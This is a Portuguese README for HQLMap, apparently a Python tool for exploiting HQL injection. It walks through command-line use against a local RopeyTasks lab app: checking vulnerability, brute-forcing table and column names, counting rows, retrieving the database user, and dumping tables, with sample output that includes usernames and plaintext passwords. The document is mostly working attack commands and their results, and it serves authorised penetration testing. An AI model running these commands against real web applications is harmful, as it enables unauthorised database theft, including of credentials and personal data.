HQLMap

Este projeto foi criado para explorar injeções HQL. A ferramenta foi escrita em Python e está licenciada sob a licença MIT. Desenvolvimento futuro: pretendo desenvolver um módulo específico para SQLmap.

Onde você pode testar a ferramenta?

Se você quiser um ambiente vulnerável rápido onde possa testar a ferramenta, recomendo usar o RopeyTasks: https://github.com/continuumsecurity/RopeyTasks/

Além disso, se você quiser mais informações sobre HQLi, veja este post do blog: http://blog.h3xstream.com/2014/02/hql-for-pentesters.html

Instalação

Para instalar este projeto, basta cloná-lo digitando:

git clone [email protected]:PaulSec/HQLmap.git

Uso

Para usar este projeto, vá para o diretório:

cd HQLmap

E execute o projeto:

python HQLmap.py

O uso é então exibido:

Usage: HQLmap.py [options]

Options:
  -h, --help            show this help message and exit
  --url=URL             qURL to pentest
  --cookie=COOKIE       Cookie to test it
  --param=PARAM         Param to test
  --postdata=POSTDATA   Postdata (POST Method)  
  --message=BLIND_HQLI_MESSAGE
                        Message appearing while Blind HQLi
  --tables              Tries to gather as much tables as possible (With
                        Bruteforce)
  --T=TABLE             Name of the table you want to get
  --table_name_file=FILE_TABLE
                        DB file for name of tables
  --columns             Tries to gather as much columns as possible (With
                        Bruteforce)
  --C=COLUMN            Name of the column you want to get
  --column_name_file=FILE_COLUMN
                        DB file for name of columns
  --check               Check if host is vulnerable
  --user                Tries to get user() from dbms
  --count               Get count of specified table(s)
  --dump                Dump specified table(s) / column(s)
  --results             Enumerate results after session
  --verbose             Verbose mode

Uso

Esta parte inclui diferentes cenários.

Verificando se o host é vulnerável

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --check

A saída é muito simples:

Host seems vulnerable.

Verificando com POSTDATA

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=A101D5D76A260E9ECD2E10ADE9DF0E47" --T=User --results --dump --postdata="username=Test&password=Test!!!"

Enumerando tabelas

$ python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables

Aqui está a saída:

[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.

Ao realizar essa enumeração, o scanner usa o arquivo padrão para os nomes das tabelas, se não for especificado. O arquivo padrão é: db/tables.db

Enumerando colunas

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --tables --columns

[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
(...)
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Ao realizar essa enumeração, o scanner usa o arquivo padrão para os nomes das tabelas E para os nomes das colunas. Os arquivos padrão são:

Para tabelas: db/tables.db Para colunas: db/columns.db

Verificando a existência de uma tabela específica

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=foo

E a saída:

[-] Table foo does not exist.

Enumerando colunas de uma tabela específica

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --columns

E a saída:

[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User

Verificando a existência de uma coluna específica em uma tabela específica

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --T=User --C=bar

E a saída:

[!] Table User has been found.
[-] Column bar in User does not exist.

Opções de fingerprinting

Obtendo a contagem de uma tabela

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --count

Ou para todas as tabelas:

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --tables --count

E a saída:

[!] Table User has been found.
[!] Count(*) of User : 3

Obtendo o usuário do banco de dados

Para realizar essa ação, você precisa especificar uma tabela (ou todas com a flag --tables) e adicionar a flag --user desta forma:

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=D50C4AD5BA0F05FA426CF660D9E069B7" --message="Eggs, Milk and Cheese baby, yeah." --T=User --user

E a saída (após alguns segundos):

[!] Table User has been found.
[!] Username of Database found : SA

Para obter o usuário, implementei um algoritmo muito semelhante a uma dicotomia 'variável'.

Extraindo banco de dados

Todas as tabelas do banco de dados

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --tables --columns --dump

E a saída:

(redacted)
[Task]
  [Name]
     - Bob&#39;s shopping
     - Alice&#39;s shopping
[Task]
  [User_Id]
     - 1
     - 2
[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
(redacted)

Tabela específica do banco de dados

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --columns --dump

E a saída:

[User]
  [Id]
     - 1
     - 2
     - 3
[User]
  [Username]
     - bob
     - alice
     - admin
[User]
  [Password]
     - password
     - password
     - password
[User]
  [Email]
     - [email protected]
     - [email protected]
     - [email protected]
[User]
  [Firstname]
     - Robert
     - Alice
     - Administrator
[User]
  [Lastname]
     - McBride
     - O&#39;Reilly
     - Reynolds

Coluna específica do banco de dados

python HQLmap.py --url="http://localhost:9110/ropeytasks/task/search?q=test&search=Search" --param=q --cookie="JSESSIONID=83C59DCB04A6DC954E4E1EEC2BB36EF6" --T=User --C=username --dump

E a saída:

[!] Table User has been found.
[!] Column Username has been found in table User
[User]
  [username]
     - bob
     - alice
     - admin

Conclusão (e Licença)

Sinta-se à vontade para dar feedback e pedir novos recursos.

Projeto lançado sob licença MIT.

HQLmap

Mais Populares

HQLMap

Onde você pode testar a ferramenta?

Instalação

Uso

Uso

Verificando se o host é vulnerável

Verificando com POSTDATA

Enumerando tabelas

Enumerando colunas

Verificando a existência de uma tabela específica

Enumerando colunas de uma tabela específica

Verificando a existência de uma coluna específica em uma tabela específica

Opções de fingerprinting

Obtendo a contagem de uma tabela

Obtendo o usuário do banco de dados

Extraindo banco de dados

Todas as tabelas do banco de dados

Tabela específica do banco de dados

Coluna específica do banco de dados

Conclusão (e Licença)